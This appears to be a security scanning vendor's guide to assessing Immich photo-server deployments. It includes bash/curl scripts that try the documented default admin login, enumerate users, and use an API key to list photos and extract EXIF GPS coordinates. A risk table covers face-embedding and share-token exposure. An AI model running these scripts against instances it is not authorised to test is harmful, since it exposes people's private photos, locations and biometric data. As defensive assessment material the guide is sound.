Immich is the most widely deployed self-hosted photo and video management platform, used as a privacy-respecting Google Photos alternative with AI-powered search, face recognition, and automatic organization. Its security profile has significant privacy implications: Immich's default admin account (admin@immich.app / password) documented in the official getting started guide is frequently unchanged in home lab and small team deployments — admin access yields all photos and videos across every user account on the instance; per-user API keys generated in account settings give programmatic access to all photos, albums, faces, and metadata without requiring a session cookie — API keys stored in automation scripts risk long-lived credential exposure; Immich's machine learning service performs facial recognition on all uploaded photos and stores biometric face embeddings in the PostgreSQL database associated with identified persons — a database dump or unauthorized API access to /api/faces constitutes biometric data exposure with significant GDPR and privacy implications; shared album links create publicly accessible share tokens at /share/{token} that deliver all album photos without authentication; and EXIF metadata in uploaded photos may contain GPS coordinates, device identifiers, and timestamps — verify that Immich's metadata stripping settings are configured appropriately for the deployment's privacy requirements before sharing assets. This guide covers systematic Immich security assessment.
# Immich default admin credentials: admin@immich.app / password
# Documented in official quick start — commonly unchanged in home lab deployments
IMMICH_URL="https://photos.example.com"
# Authenticate with default credentials
RESPONSE=$(curl -s -X POST "${IMMICH_URL}/api/auth/login" \
-H "Content-Type: application/json" \
-d '{"email":"admin@immich.app","password":"password"}' 2>/dev/null)
TOKEN=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('accessToken',''))
" 2>/dev/null)
if [ -n "$TOKEN" ]; then
echo "DEFAULT CREDENTIALS WORK — admin access obtained"
# List all users on the instance
curl -s "${IMMICH_URL}/api/users" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
print(f'Users: {len(d)}')
for u in d[:5]:
print(f\" {u.get('email','?')} admin={u.get('isAdmin','?')} photos={u.get('assetCount','?')}\")
" 2>/dev/null
fi
# Immich API keys are per-user and give full access to that user's photos
# Keys are created in Account Settings → API Keys and stored as plaintext in scripts
API_KEY="your-immich-api-key"
IMMICH_URL="https://photos.example.com"
# List all assets (photos/videos) accessible with this API key
curl -s -X POST "${IMMICH_URL}/api/assets/search" \
-H "x-api-key: ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{"size":10,"page":1}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
assets = d.get('assets',{}).get('items',[])
total = d.get('assets',{}).get('total',0)
print(f'Photos accessible: {total} total')
for a in assets[:5]:
print(f\" {a.get('originalFileName','?')} type={a.get('type','?')} date={a.get('fileCreatedAt','?')[:10]}\")
# Check for GPS data in EXIF
exif = a.get('exifInfo',{})
if exif.get('latitude'):
print(f\" GPS: {exif['latitude']},{exif['longitude']}\")
" 2>/dev/null
# Get statistics for this account
curl -s "${IMMICH_URL}/api/server/statistics" \
-H "x-api-key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Photos: {d.get(\"photos\",\"?\")} Videos: {d.get(\"videos\",\"?\")} Storage: {d.get(\"usage\",\"?\")}\')
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Default admin@immich.app/password credentials | POST /api/auth/login with defaults — admin token grants access to all users' photos across entire instance | Critical |
| API key with full photo access | x-api-key header on /api/assets/search — returns all photos including EXIF GPS coordinates and personal identifiers | High |
| Face recognition biometric data accessible via API | GET /api/faces or /api/people — returns face bounding boxes, biometric embeddings, and person associations | High |
| Shared album links accessible without authentication | GET /share/{token} — all photos in shared album viewable without any login by anyone with the token | Medium |
| GPS EXIF data in shared photos | Photo EXIF metadata in shared album responses may contain GPS coordinates revealing locations visited | Medium |
| Admin API listing all users and photo counts | GET /api/users with admin token — lists all accounts, email addresses, photo counts, and storage usage | High |
Ironimo tests Immich deployments for default admin@immich.app/password credentials providing access to all users' photos, API key extraction from automation scripts giving full photo and metadata access, face recognition biometric data exposure via the faces and people API endpoints, shared album tokens accessible without authentication exposing all album contents, GPS EXIF metadata in photos shared via public album links revealing location history, and admin API user enumeration listing all accounts and their photo libraries.
Start free scan